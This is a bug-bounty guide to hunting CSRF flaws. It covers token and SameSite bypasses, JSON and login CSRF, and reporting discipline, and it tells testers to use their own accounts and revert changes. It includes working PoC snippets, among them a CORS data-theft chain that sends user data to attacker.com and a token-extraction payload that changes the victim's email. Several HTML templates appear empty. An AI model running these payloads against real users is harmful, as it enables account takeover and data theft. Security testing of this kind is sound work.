--- name: hunt-csrf description: CSRF — state-changing actions without CSRF tokens, SameSite bypass, subdomain CSRF, double-submit cookie, token prediction. Chains to ATO, RCE, privilege escalation. --- # CSRF HUNTING — Advanced Guide **Core:** Attacker triggers state-changing actions as authenticated user via cross-origin requests. ## DETECTION METHODOLOGY ```bash # Find endpoints without CSRF token curl -s "https://target.com/settings" | grep -iE "csrf|token|nonce|_token" # Remove token and test curl -X POST "https://target.com/api/change-email" -d "email=evil@test.com" # If succeeds → CSRF confirmed # Check cookie attributes curl -sI "https://target.com/api/change-email" | grep -i "set-cookie" ``` ## CSRF TOKEN BYPASS ### Bypass 1: Token Copy from GET to POST ``` GET /api/change-email → returns CSRF token POST /api/change-email with same token → succeeds ``` ### Bypass 2: Double-Submit Cookie ```html ``` ### Bypass 3: Subdomain Token Leak ``` 1. Find XSS on any subdomain (blog.target.com) 2. Read CSRF token from cookie/localStorage 3. Use token to trigger CSRF on parent domain ``` ## SameSite BYPASS ### Top-Level Navigation ```html ``` ### Subdomain Trick ```html ``` ### Skewer Attack ```html
``` ## IMPACT — WHAT TO PROVE, AND WHERE TO STOP Prove the missing control against **your own account** with a reversible state change, then stop. That is the complete finding. ``` /api/change-email on your own account, no token → sufficient proof /api/change-password on your own account → sufficient proof /admin/api/run-command → describe, never request /oauth/authorize forcing an app grant → describe, never trigger ``` The distinction matters: demonstrating that a token check is **absent** is review work; performing the privileged action is the attack. Do not send requests to admin routes, do not trigger command-execution endpoints, and do not complete an OAuth authorization for someone else's account. When a tokenless endpoint reaches a sensitive capability, that is a real and serious CSRF — report it as such, describing the worst case rather than demonstrating it. Reject at Gate 6: state-changing GETs with no meaningful consequence, and CSRF that only affects the attacker's own session. ## HTML/JS PoC templates Point these at your own account's harmless action. ### Auto-Submit Form ```html
``` ### Fetch API CSRF ```javascript fetch('/api/change-email',{method:'POST',credentials:'include', headers:{'Content-Type':'application/json'}, body:JSON.stringify({email:'attacker@email.com'})}); ``` ### Hidden Iframe ```html
``` ### JSONP CSRF ```html ``` ## CORS + CSRF COMBO ### Data Theft via CORS ```javascript fetch('https://target.com/api/user',{credentials:'include'}) .then(r=>r.json()) .then(d=>fetch('https://attacker.com/steal?data='+JSON.stringify(d))); ``` ### Token Extraction + CSRF ```javascript fetch('https://target.com/settings',{credentials:'include'}) .then(r=>r.text()) .then(html=>{ const t=html.match(/csrf.*?value="(.*?)"/)[1]; fetch('/api/change-email',{method:'POST',credentials:'include', headers:{'Content-Type':'application/json'}, body:JSON.stringify({email:'attacker@email.com',csrf_token:t})}); }); ``` ### Null Origin Bypass ```html ``` ## HACKERONE CSRF BOUNTIES | Report | Endpoint | Impact | Bounty | |--------|----------|--------|--------| | Email Change | /api/user/email | ATO via password reset | $7,500 | | Password Reset | /api/user/password/reset | Account enumeration | $5,000 | | Admin Panel | /admin/api/exec | Command execution | $25,000 | | OAuth Auth | /oauth/authorize | Force attacker app | $15,000 | | Webhook | /api/webhooks | Data exfiltration | $8,000 | ## TESTING CHECKLIST - [ ] Identify all state-changing endpoints (POST, PUT, DELETE, PATCH) - [ ] Test token removal, empty token, wrong token, cross-session token - [ ] Check SameSite cookie attributes - [ ] Test SameSite=Lax bypass via top-level GET navigation - [ ] Test subdomain CSRF via XSS on any subdomain - [ ] Check CORS configuration (Allow-Origin, Allow-Credentials) - [ ] Test JSONP endpoints that accept callbacks - [ ] Test OAuth flow for CSRF on authorization endpoint - [ ] Test webhook/invitation endpoints for CSRF - [ ] Chain CSRF with open redirect for OAuth code theft - [ ] Check admin endpoints for CSRF protection ## TOKEN PATTERNS — AND HOW EACH ONE FAILS - **Token present, never validated:** remove it entirely; then send empty, then garbage. The most common real-world CSRF in token-bearing apps. - **Validated on POST, not on GET (or vice versa):** state change reachable by both methods, token checked on one. Also test method override (`_method=PUT`, `X-HTTP-Method-Override`) — the override path often skips the check. - **Token not tied to the session:** token from your own account (or an unauthenticated page) accepted in the victim's request. Fetch a token logged-out; if it works logged-in, binding is absent. - **Token tied to a cookie you can set:** double-submit where the cookie half can be planted via a subdomain (`Set-Cookie` from `*.target.com`) or an HTTP response-splitting bug — then the pair always matches. - **Token in a GET form / leaked in Referer:** token-bearing URLs shared off-site leak the token to third-party logs and analytics. - **Predictable tokens:** timestamp- or counter-derived, no per-session entropy. Collect several from your own accounts and diff them before claiming predictability. ## SAMESITE — THE LAX GAPS - **Lax + state-changing GET = CSRF.** Lax sends cookies on top-level GET navigations. Any GET that changes state (confirm, delete, subscribe, OAuth consent) is exploitable by a plain link — no form needed. - **Lax-Allow-POST / 2-minute window:** Chrome's Lax+POST sends cookies on top-level POSTs within ~2 minutes of the cookie being set. Fresh-login flows are the target window. - **Sibling subdomains are same-site.** SameSite is site-scoped, not origin-scoped: any `*.target.com` page (or XSS, or an attacker-influenced subdomain takeover) can POST to the apex with cookies attached. SameSite never substitutes for a token against subdomain attackers. - **No SameSite attribute ≠ Strict:** modern Chrome defaults to Lax — test what the browser actually sends, not what the header omits. ## JSON CSRF — SIMPLE REQUESTS CORS preflight only triggers on non-simple requests. A request is simple with methods GET/HEAD/POST and content types `text/plain`, `application/x-www-form-urlencoded`, `multipart/form-data` — and simple requests are *sent* before any CORS check; CORS only blocks reading the response. So: - POST JSON-shaped data with `Content-Type: text/plain` — many APIs parse the body as JSON regardless of the declared type. - `fetch(url, {method:'POST', mode:'no-cors', headers:{'Content-Type':'text/plain'}, body: JSON.stringify(...)})` — fires with cookies, no preflight. - Form trick: `` builds a JSON-ish body from a urlencoded form. - If the API strictly checks `Content-Type: application/json`, this path dies — verify the parser, don't assume. ## LOGIN CSRF Pre-auth endpoints are tokenless by design. Forging a login as the *attacker's* account into the victim's browser chains to: victim enters data (payment details, files, messages) into the attacker's account → attacker reads it. Also test logout CSRF (nuisance alone — chain or drop) and CSRF on "link account / connect OAuth" flows, which bind the victim's identity to the attacker's external account → future ATO. ## SUBDOMAIN XSS → CSRF CHAIN Any XSS on any subdomain defeats token-based CSRF on the apex: same-origin to the token is not required — the subdomain script fetches the apex page (CORS permitting or via form + response tricks), or simply issues the state change directly since SameSite treats it as same-site. When reporting, the chain is the finding: XSS alone may be low, CSRF alone blocked — together they are full account action forgery. ## FALSE-POSITIVE TRAPS - Endpoint accepts a cross-site POST but requires a secret you can't know (current password, OTP) — not exploitable as claimed; note the compensating control. - Custom header requirement (`X-Requested-With`) genuinely blocks simple-request CSRF — browsers can't add it cross-origin without preflight. Don't report around it without a bypass. - State change that only affects the attacker's own session (self-CSRF) — informational at best unless it chains (login CSRF, account linking). - Token check that fails closed in your test because you dropped a second required field — replay the full legitimate request minus only the token before concluding. ## PROOF DISCIPLINE Two accounts, both yours. Attacker page in one browser profile, victim session (your second account) in another; the state change must land on an object the victim account owns — email/display-name change on your own test account, then revert it. Never fire a PoC at another user's session, never leave the changed state in place. ## REPORTING CHECKLIST - [ ] Endpoint, method, and the exact state changed (before/after evidence on your own account) - [ ] Which control is missing/broken: token absent, unvalidated, unbound, or SameSite gap — named precisely - [ ] Self-contained HTML PoC that fires cross-origin in a current browser - [ ] Cookie attributes observed (SameSite/Secure) and browser behavior relied on - [ ] Compensating controls checked (password/OTP/custom header) and why they don't stop it - [ ] Impact bounded to the demonstrated action; escalation described, not performed - [ ] State reverted after proof